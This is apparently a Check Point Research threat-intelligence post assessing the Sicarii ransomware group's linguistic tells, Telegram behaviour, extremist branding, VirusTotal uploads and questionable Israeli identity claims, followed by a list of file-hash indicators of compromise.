Although Sicarii group members present themselves as Israeli or Jewish, their use of Hebrew strongly suggests non-native language skills. Hebrew content on the group’s shame site contains misspellings, awkward phrasing, and literal translations of English idioms that do not exist in Hebrew. In private communications, the Telegram user claimed to personally handle only “frontend and communications,” while asserting other operators are Israeli and responsible for ransomware development and initial access operations. Using the same Telegram profile, the actor quickly reemerged as “Isaac” while producing Hebrew that appears to be machine-translated English and insisting they are Hebrew speakers even when challenged.

In contrast, Sicarii’s activity on underground forums and Telegram channels is conducted fluently in Russian and English, including structured RaaS advertisements and informal interactions. This linguistic asymmetry indicates that English or Russian is actually the operator’s primary language.

Behavioral Indicators and OpSec Observations

The operator’s Telegram behavior displays several notable characteristics:

• Low operational discipline, such as openly requesting “ransomware APKs” in public group chats rather than sourcing such information privately.
• Identity play and inconsistency, including shifting self-descriptions and performative signaling toward ideological alignment without a clear strategic purpose.

This reinforces the impression of a relatively inexperienced actor navigating established underground ecosystems rather than a seasoned participant.

Visual Branding and Subcultural Overlap Image

The Telegram operator’s profile image and shared graphics reuse a modified internet meme featuring the phrase “Smile is a mitzvah” alongside symbols associated with the banned Israeli extremist organization Kach. The only variant of this image was identified within a looksmax forum, an online male-dominated subculture often characterized by extreme racism, misogyny, and anti-Semitic discourse.

The limited circulation of this image suggests it’s not a mainstream ideological representation. The forum user who shared this picture said he was a 15-year-old boy and participated in anti-Semitic forum threads.

VirusTotal Activity – Uploading Your Own Source Code & Terrorist Images

The majority of Sicarii-associated samples were submitted to VirusTotal by a single community account which uploaded approximately 250 files over the past several months. Most submissions correspond to apparent variants or loaders associated with the Sicarii ransomware.

Notably, the ransomware binaries were frequently uploaded under the generic filename Project3.exe, a naming convention consistent with testing, staging, or iterative development rather than finalized deployment artifacts.

In addition to compiled ransomware samples, the same VirusTotal account uploaded a source code file titled ransomawre.cs on October 25, 2025, predating Sicarii’s public emergence. This source code referenced the same Tor infrastructure later used by the Sicarii ransomware, suggesting early development or experimentation prior to operational deployment.

In addition to malware-related submissions, the same account also uploaded:

• Unrelated suspicious files
• Malware report-style documents
• An image of Meir Kahane, founder of the extremist Kach organization

The convergence of ransomware testing artifacts, early-stage source code, and extremist ideological imagery within a single VirusTotal account is atypical for mature ransomware operations. Instead of reflecting a compartmentalized development pipeline or affiliate-driven ecosystem, this activity suggests personal experimentation or centralized control, reinforcing the impression of limited operational experience and informal tradecraft.

Explicit National Signaling and Deviation from Ransomware Norms

Established ransomware groups, particularly those operating from Russia or Eastern Europe, typically avoid overt national or ideological signaling to preserve plausible deniability and reduce geopolitical risk. Even well-documented Russian-linked groups such as Qilin or Cl0p refrain from explicit self-identification, despite consistently avoiding domestic targets.

Notably, Sicarii’s operators referenced Qilin and Cl0p in private communications, explicitly describing them as Russian groups that do not attack within Russia and stating that Sicarii follows the “same logic.” This comparison was used by the operator to justify both excluding Israeli victims and the group’s broader targeting posture.

Despite invoking this model, Sicarii diverges sharply from established ransomware norms by:

• Advertising preferential rates for attacks against Arab or Muslim states.
• Embedding Israeli geo-exclusion logic directly into its ransomware.
• Publicly associating itself with extremist Jewish figures and symbols.

Whereas Eastern European ransomware groups rely on implicit understandings and silent geographic avoidance, Sicarii’s approach is unusually explicit and performative. Such behavior is not only unnecessary for a financially motivated RaaS but also invites avoidable exposure. All of this suggests either limited operational maturity or deliberate signaling beyond purely criminal objectives.

Historical Precedent for False-Flag Use of Jewish Identity

Previous campaigns attributed to Iranian-aligned or anti-Israeli actors, including Moses Staff and Abraham’s Ax, leveraged Jewish historical references and fabricated Israeli insider personas to conduct false-flag operations or influence campaigns.

While no direct technical linkage exists between Sicarii and these actors, the use of Jewish extremist symbolism, overt Israeli identity claims, and ideologically charged rhetoric mirrors known deception techniques employed in prior operations by anti-Israeli Middle Eastern actors.

Leak site

The Sicarii leak site is notably rudimentary, offering display options in both Hebrew and English. The Hebrew version is characterized by awkward phrasing and frequent misspellings, further indicating non-native authorship. In private communications, the operator stated that AI tools were used in the site’s development. Notably, the leak site was active for approximately one month before the first victim was published, a delay that is atypical for RaaS operations seeking rapid visibility and credibility.

Conclusion & Assessment

Sicarii is a newly observed ransomware operation that combines a functional extortion capability with unusually explicit Israeli and Jewish branding. While the malware itself demonstrates credible ransomware functionality, the group’s behavior and presentation deviate from established ransomware norms.

On Telegram communications, underground forum activity, and public-facing infrastructure, Sicarii repeatedly asserts national and ideological identity in ways that provide no clear operational benefit. Although the operators compare themselves to Russian ransomware groups such as Qilin and Cl0p (arguing that those groups also avoid domestic targets), Sicarii departs from this model by making its alignment explicit and performative, weakening plausible deniability.

Linguistic analysis further undermines the group’s claims. Hebrew usage across the leak site and private communications is inconsistent and indicative of non-native authorship, while English and Russian are used fluently. Operationally, the group appears centralized and informal, with early-stage tooling, inconsistent victim narratives, and limited compartmentalization, suggesting experimentation rather than a mature RaaS ecosystem.

Taken together, these indicators suggest that Sicarii’s claimed Israeli or Jewish identity doesn’t necessarily reflect genuine ideological motives. Instead, the operation appears to leverage performative identity signaling layered onto an immature ransomware capability. Attribution remains inconclusive, but Sicarii’s self-description should not necessarily be taken at face value.

IOCs:

4104542714022cb6ef34e9ee5affca07b9a38dbee49748f8630c5f50a26db8b2
cce3821939b7cb77b9da3d59bbcb5978818d4937dd330d820102b012ffcebe4d
a9cadb2c85a4d951f1c41d3dba6be6af876d364c5bba267a42f7839f40b45c0a
b9691587dff4b09987354d50c5d7f9f99f57183bdb6115d1ed410ea0a2e86973
0f0509d1751185fc3d0fce5a578d29aa9d1fe219f29dacef2cf4200851ed541c
59bb8cbd471bd6598c8bf830fa9f90574e8b1bae59d90d379dfd91b1390f7a33
203fd36eed61f7c0f9225cf5a824d39a3a891f63c908586801e350f785f0ddca
6d4cecda3cd5e031d2d23991fe4040568a221ee6ee7e99aaecda52431e67e18d
fbf4ba84c6bb558d6663e34ce7fb459c2cb4e7577241116abaa09ff1eb0d2108
8a4f1e01c78dbeb5258ef97420a948cc530ff3c4d6fa5153b5da5872c728bfe3
bacc9fe505d243ad5192bad081f2fb7cb5bf0d4d26b0b0e51f5a74f64a2db2a5
70ac2b0f9b40eb8682db4452bbda70363b3680eef8ee30cd311e0d2e4c125bcb
a7ec88cc08ffa80915f32ac7274218ded88e61c6cda95bedbb8fe9d729ba7495
debbc85b17c753c3428588cd865b9bcc4b60c18566724d6fc841133ddb3ba5d3
97c2cda26d8e53eb74489a066834e7afae1a89a71f57b91e64384f88358d0c4e
07ef103cbe476dbaee5fb3a8068a9246c0a18f7b89846ba11e90b3622fdfef91
b23176a06dc2e32978a13853ce7730007242a2f9d1e1d33e9601de6b4eaadc3e
5a2f8aea67e3f89029383b46dfe2f5671902d0b2815b9cf5ab6e74fe6d406fb0
befb0f49fc3bfad9166300600be6da73efb6c9b19e09f9515bce9d60cc9a0455
feda2efbc44d4ef1694d3d2a4c2794013d8a071194adf3c14e5376e1a369ee61
942b5945a927ad2c78c1ce1afc9e86b2f6f4134c6fb36ca1fafef5b21ba1d8a2
b0718c24b687e781f1a55d2e302baeb31bfd649308a8eb9f1361569c9af260d1
7a782c7fcfc2ef8231694216f998ba3078ce00bb06d2d27c734c6e65d9df9d86
eff3bd2522a8e6725cb58d45076a3fe705a206e5cd7fe7ec70b7726ad4a53286
64f6ebf9e3c285cc527b94080bccb7fc051137621870997220854907bb69bb69
e920bb59cd7d803615b08b957d4eb9ba8a9cc2d104924d856b54839fec868314
12a6dcefe12e8245bf4a6c9fc894ca431a02720f653841b5ccf6174a226c6a29
350ba9075a0011a100e11594e7d64461c1d5024c6f46b6a4d6398dc8bf8495b0
4b8eca4bf33e13a680ef30b9295cce5a7f5de3b7f5f8771ab206572488d3d9f4
d99ded48868d2961dcae6b4c63d1b74395aeb440232cf44828e3e2bf31c06418
362fe4f7ada71ee779b3bf2fa32c7f42704d051920166b26a68599c470dc5de1
20114fc02aa0296919f8072ee59195bed83cf79ec0f5c1f37e4fa7939710aa49
7388b87febbe9aa6633c0c1363b1feb9e82de84c83f1696649edeaeeaf3e21bd
c8ac7f6fb9a3435108019477e3a2b7fcd322a92d93015e19c7930673685c0e17
07448b617834e3f40137773ef3432b12efe72cd373217802e0266663a3253095
9a0f9efacfdd73037b8f4a656beef3382d7996fcc4331c896b9163c296ae1218
906c1fa52aa00001ce568ca5fcb673dbea4bee3772f1ba9435ee87e2c9216dc4
100940358086d978cd418b43aed88d26e86af096886bf7b2f3a0f58d729428b0
f4ae6a1ef1aa9e734a141b90c1333fc624512c453aa2f668cadd5e3408ca08a0
f4b05effc920457129f41827840d4d6063e0040fd612e7ca63a6c3e25736ea0c
7028436ae16f813b278f82b0b02d22fb0338a0becc1cdcd4b2f4c9de8bb23408

The post Sicarii Ransomware: Truth vs Myth appeared first on Check Point Research.